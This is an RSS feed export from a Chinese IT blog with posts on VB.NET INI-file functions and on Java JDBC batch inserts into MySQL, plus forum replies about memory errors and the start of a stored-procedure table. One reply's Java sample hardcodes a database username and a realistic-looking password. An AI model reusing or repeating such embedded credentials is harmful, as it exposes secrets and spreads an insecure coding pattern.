﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-我的ITblog我作主　　关注→　『伊波拉』→　测试　SzDlinXie- ITblog　　  　　   -随笔分类-电脑技术杂志</title><link>http://www.cnitblog.com/szdlinxie/category/4488.html</link><description>·√·  本ITblog站点记录相关的软件技术文档、网络技术杂志、测试技术杂谈等技术文档的管理站点.联系方式：MSN：dowling@sunlike.cn   QQ:94595885</description><language>zh-cn</language><lastBuildDate>Wed, 28 Sep 2011 21:39:34 GMT</lastBuildDate><pubDate>Wed, 28 Sep 2011 21:39:34 GMT</pubDate><ttl>60</ttl><item><title>.net读写INI文件的函数</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/12/31/53298.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Wed, 31 Dec 2008 06:10:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/12/31/53298.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/53298.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/12/31/53298.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/53298.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/53298.html</trackback:ping><description><![CDATA[<p style="WORD-BREAK: break-all; LINE-HEIGHT: 12pt"><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Int32, ByVal lpFileName As String) As Int32<br>&nbsp;&nbsp;&nbsp; Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal lpString As String, ByVal lpFileName As String) As Int32<o:p></o:p></span></p>
<p style="WORD-BREAK: break-all; LINE-HEIGHT: 12pt"><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp; Public Function GetINI(ByVal Section As String, ByVal AppName As String, ByVal lpDefault As String, ByVal FileName As String) As String<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Str As String = LSet(Str, 256)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetPrivateProfileString(Section, AppName, lpDefault, Str, Len(Str), FileName)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return Microsoft.VisualBasic.Left(Str, InStr(Str, Chr(0)) - 1)<br>&nbsp;&nbsp;&nbsp; End Function<br>&nbsp;&nbsp;&nbsp; Public Function WriteINI(ByVal Section As String, ByVal AppName As String, ByVal lpDefault As String, ByVal FileName As String) As Long<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteINI = WritePrivateProfileString(Section, AppName, lpDefault, FileName)<br>&nbsp;&nbsp;&nbsp; End Function<o:p></o:p></span></p>
<br>写:<br>
<p style="WORD-BREAK: break-all; LINE-HEIGHT: 12pt"><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Try<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim path As String<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; path = Application.StartupPath + "\文件名.ini"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteINI("aa", "a1", 内容, path)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Catch ex As Exception<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Try<br>&nbsp;&nbsp;&nbsp; End Sub<br><o:p><br>读:<br><span>Dim path As String<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; path = Application.StartupPath + "\文件名.ini"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; textbox.Text = GetINI("aa", "a1", "", path)<br><br></span><br></o:p></span></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/53298.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-12-31 14:10 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/12/31/53298.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批量插入数据MYSQL</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/10/10/50062.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 10 Oct 2008 09:46:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/10/10/50062.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/50062.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/10/10/50062.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/50062.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/50062.html</trackback:ping><description><![CDATA[&nbsp;
<p><span>@echo off</span></p>
<p><span>cls</span></p>
<p>&nbsp;</p>
<p><span>set CLASSPATH=..\api\jogre.jar</span></p>
<p><span>set CLASSPATH=%CLASSPATH%;.</span></p>
<p><span>set CLASSPATH=%CLASSPATH%;classes</span></p>
<p><span>set CLASSPATH=%CLASSPATH%;lib\dom4j.jar</span></p>
<p>&nbsp;</p>
<p><span>java org.jogre.server.JogreServer</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="100%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>建表<span><br>[code]<br>create database con_test;<br>use con_test;<br>create table test(id int not null,txt varchar (70),primary key (id),index (id));<br>[/code]<br><br></span>就两个字段，<span>id</span>加索引。<span><br><br></span>用<span>java</span>程序给表循环<span>10</span>万次插入纪录，<span>id(</span>循环次数<span>) </span>和 内容<span>(</span>这条记录是第<span>=xx)<br><br><br>InsertTestMysql.java<br><br>[code]<br>import java.lang.*;<br>import java.sql.*;<br><br>public class InsertTestMysql{<br>&nbsp; &nbsp; &nbsp; &nbsp; public static void main(String [] args){&nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.util.Date now_start = new java.util.Date();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long start_time=now_start.getTime();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int st = 100000;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String str,info;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String db="org.gjt.mm.mysql.Driver";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String host="jdbc:mysql://192.168.1.35/test";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String user="root";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String passwd="root";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Connection con=null;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try{<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class.forName(db).newInstance();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; catch(Exception e){<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("</span>加载驱动失败<span>:"+db);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try{<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con=DriverManager.getConnection(host,user,passwd);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con.setAutoCommit(false);//</span>关闭事务自动提交<span><br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i=1;i&lt;=st;i++){<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; info = "</span>这条记录是第<span>=";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; info = info.concat(java.lang.Integer.toString(i));<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str = "insert into test (id,txt) values(?,?);";<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PreparedStatement pstmt = con.prepareStatement(str);<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.setInt(1,i);<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.setString(2,info);<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.executeUpdate();<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con.commit();//</span>语句执行完毕，提交本事务<span><br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con.close();<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; catch(Exception e) {<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;System.out.println(e);<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.util.Date now_end = new java.util.Date();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long end_time=now_end.getTime();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long use_time=end_time-start_time;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("&lt;&lt;---</span>本页生成耗时<span>["+use_time+"]</span>毫秒<span>("+((double)use_time)/1000+"</span>秒<span>)---&gt;&gt;");<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("\n&lt;&lt;---</span>共插入记录<span>"+st+"</span>条<span>--&gt;&gt;");<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>}<br>[/code]<br><br><br></span>在不同版本的<span>jdbc</span>下，表现不同。<span><br><br>jdbc <st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False">3.1.7</st1:chsdate>, 12770,12778 </span>插入这个数目时，程序退出，中文正常。<span><br>jdbc 3.1.12 12000 </span>插入这个数目时，程序退出，中文正常。<span><br><br></span>均出现以下提示：<span><br>"Exception in thread "main" java.lang.OutOfMemoryError: Java heap space"<br>&#8220;Java </span>堆 空间 错误<span>&#8221;</span>，可能是我机器内存不够。但用<span>3.10</span>系列<span>jdbc</span>就正常。<span><br><br>jdbc 3.0.16-ga 10</span>万记录正常，中文正常。<span><br>jdbc 3.0.10 10</span>万记录成功，但中文错误。<span><br><br></span>使用<span>3.1</span>系列<span>jdbc</span>，程序运行后，机器剩余物理内存很快就成了<span>40xxKB</span>了。<span><br><br></span>这个，也可能是<span>jdbc3.1</span>系列需要内存大，我机器内存不足。<span><br><br></span>明天再去同学的<span>AMD64 <st1:chmetcnv w:st="on" UnitName="m" SourceValue="512" HasSpace="False" Negative="False" NumberType="1" TCSC="0">512M</st1:chmetcnv> RAM </span>机器测试。<span><br><br><br></span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>jdbc <st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False">3.0.16</st1:chsdate>-ga </span><span>唯一这个正常的，测试结果为：<span><br><br>[code]<br>D:\Program Files\test\db_test&gt;java InsertTestMysql<br>&lt;&lt;---</span>本页生成耗时<span>[98582]</span>毫秒<span>(98.582</span>秒<span>)---&gt;&gt;<br><br>&lt;&lt;---</span>共插入记录<span>100000</span>条<span>--&gt;&gt;<br>[/code]</span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>前几天又测试了下，用开源的<span>jdts </span>的<span>jdbc </span>连接<span>ms-sql server 2000&nbsp;&nbsp;sp3 </span>其他同上，测试结果惨不忍睹：<span><br><br>[code]<br>D:\dev\java\src\ts\Ms-Sql&gt;java InsertTestMssql<br>&lt;&lt;---</span>本页生成耗时<span>[1746681]</span>毫秒<span>(1746.681</span>秒<span>)---&gt;&gt;<br><br>&lt;&lt;---</span>共插入记录<span>100000</span>条<span>--&gt;&gt;<br>[/code]<br><br><br></span>因为<span>MicorSoft</span>官方的<span>jdbc</span>不支持手动提交，因此用开源<span>jdts</span>的<span>,</span>反正官方测试报告说<span>jdts</span>性能在<span>ms-sql</span>的<span>java</span>驱动里性能最好。<span><br><br><br></span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>把<span>insert </span>语句注释掉， 看你的程序运行<span>10</span>次是否会正常</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>--&gt;<br>Error</span><span>即是<span>JVM</span>的問題<span>,</span>大概是<span>garbage collection</span>太慢<span>:roll:<br><br></span>試試每<span>10000</span>條作一次<span>garbage collection </span>看看<span>:roll:<br><br>--&gt;<br></span>這句每一次作了<span>3</span>個物件<span>,</span>改一個看看<span><br><br><br></span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>--&gt;<br><br></span><span>但是配合<st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False"><span>3.0.16</span></st1:chsdate>和<span>3.0.10 </span>都没问题。<span><br><br><br></span>我也曾设置过，每执行<span>1000</span>次就提交一次，照样是用<span>3.1</span>的驱动出问题。还是<span>1w2</span>时候。</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>事务太长了，每插入一条就<span>commit</span>一次；偶插入过<span>3</span>千万条，没有问题的</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>昨天，用<st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False"><span>3.1.12</span></st1:chsdate>驱动，在同学的<span>AMD 64 + <st1:chmetcnv w:st="on" UnitName="m" SourceValue="512" HasSpace="False" Negative="False" NumberType="1" TCSC="0">512M</st1:chmetcnv> RAM </span>上测试了，<span>2W</span>记录，使用<span>java -Xmx<st1:chmetcnv w:st="on" UnitName="m" SourceValue="64" HasSpace="False" Negative="False" NumberType="1" TCSC="0">64m</st1:chmetcnv> -Xmx<st1:chmetcnv w:st="on" UnitName="m" SourceValue="128" HasSpace="False" Negative="False" NumberType="1" TCSC="0">128m</st1:chmetcnv> </span>参数运行，可以顺利通过。<span><br><br></span>但<span>10W</span>记录，照样完蛋。机器消耗的总内存<span>(</span>物理<span>+</span>交换文件<span>)</span>达到<span>1.4GB </span>后，因为空间不够，自动中止。</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>如果直接插入而不用事务机制呢？</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>--&gt;<br><br></span><span>我每次测试，首先就是默认的自动提交<span>(</span>每语句<span>)</span>，用<span>3.1</span>驱动还是出错。<span><br><br></span>当记录数目小到能正常完成时，自动提交耗时是一次事务的<span>10</span>倍时间（记录不太多时，大于<span>1W</span>，差距缩小到<span>2~3</span>倍）。<span><br><br></span>自动提交<span>:<br>[code]<br>## </span>默认<span><br>D:\Program Files\test\db_test&gt;java InsertTestMysql<br>&lt;&lt;---</span>本页生成耗时<span>[43693]</span>毫秒<span>(43.693</span>秒<span>)---&gt;&gt;<br><br>&lt;&lt;---</span>共插入记录<span>1000</span>条<span>--&gt;&gt;<br>[/code]<br><br></span>一次事务<span>:<br>[code]<br>## </span>控制<span>COMMIT,</span>一次性提交<span><br>D:\Program Files\test\db_test&gt;java InsertTestMysql<br>&lt;&lt;---</span>本页生成耗时<span>[3846]</span>毫秒<span>(3.846</span>秒<span>)---&gt;&gt;<br><br>&lt;&lt;---</span>共插入记录<span>1000</span>条<span>--&gt;&gt;<br>[/code]<br><br><br></span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>没问题啊，。我们每天都通过ｊａｖａ程序插入几十万条数据做测试，都可以的</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>//</span><span>用<span>mysql</span>自己的驱动程序，下面的测试程序插入<span>100000</span>条记录，结果是：<span><br>//&lt;&lt;---</span>本页生成耗时<span>[82781]</span>毫秒<span>(82.781</span>秒<span>)---&gt;&gt;<br>//&lt;&lt;---</span>共插入记录<span>100000</span>条<span>--&gt;&gt;<br>import java.sql.*;<br><br>public class InsertTestMysql {<br>&nbsp; &nbsp; &nbsp; &nbsp; public static void main(String[] args) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.util.Date now_start = new java.util.Date();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long start_time = now_start.getTime();<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int st = 100000;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String db = "com.mysql.jdbc.Driver";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String host = "jdbc:mysql://192.168.2.108/develop";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String user = "whl";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String passwd = "MVu9H370uG";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Connection con = null;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class.forName(db).newInstance();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("</span>加载驱动失败<span>:" + db);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con = DriverManager.getConnection(host, user, passwd);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PreparedStatement pstmt = con.prepareStatement("insert into test (id,txt) values(?,?);");<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 1; i &lt;= st; i++) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.setInt(1, i);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.setString(2, "</span>这条记录是第<span>=" + i);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.executeUpdate();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con.close();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(e);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.util.Date now_end = new java.util.Date();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long end_time = now_end.getTime();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long use_time = end_time - start_time;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("&lt;&lt;---</span>本页生成耗时<span>[" + use_time + "]</span>毫秒<span>("<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + ((double) use_time) / 1000 + "</span>秒<span>)---&gt;&gt;");<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("\n&lt;&lt;---</span>共插入记录<span>" + st + "</span>条<span>--&gt;&gt;");<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>}</span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p align=left><span><a href="http://pigdogyourmother.ycool.com/post.1723176.html"><strong><span>MySQL</span></strong><strong><span><span>存储过程资料收集</span></span></strong></a></span></p>
<p align=left>&nbsp;</p>
<p align=left><strong><span>表<span>A </span></span></strong></p>
<table cellSpacing=1 cellPadding=0 width=542 border=0>
    <tbody>
        <tr>
            <td>
            <table cellPadding=0 width=535 border=0>
                <tbody>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><strong><span>声明</span></strong></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><strong><span>描述</span></strong></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>CREATE PROCEDURE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>建立一个存放在<span>MySQL</span>数据库的表格的存储过程。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>CREATE FUNCTION</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>建立一个用户自定义的函数，尤其是返回数据的存储过程。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>ALTER PROCEDURE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>更改用<span>CREATE PROCEDURE </span>建立的预先指定的存储过程，其不会影响相关存储过程或存储功能。<span>.</span></span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>ALTER FUNCTION</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>更改用<span>CREATE FUNCTION </span>建立的预先指定的存储过程，其不会影响相关存储过程或存储功能。<span>.</span></span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>DROP PROCEDURE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>从<span>MySQL</span>的表格中删除一个或多个存储过程。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>DROP FUNCTION</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>从<span>MySQL</span>的表格中删除一个或多个存储函数。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>SHOW CREATE PROCEDURE</span></p>
                        </td>
                        <td vAlign=top width=349>
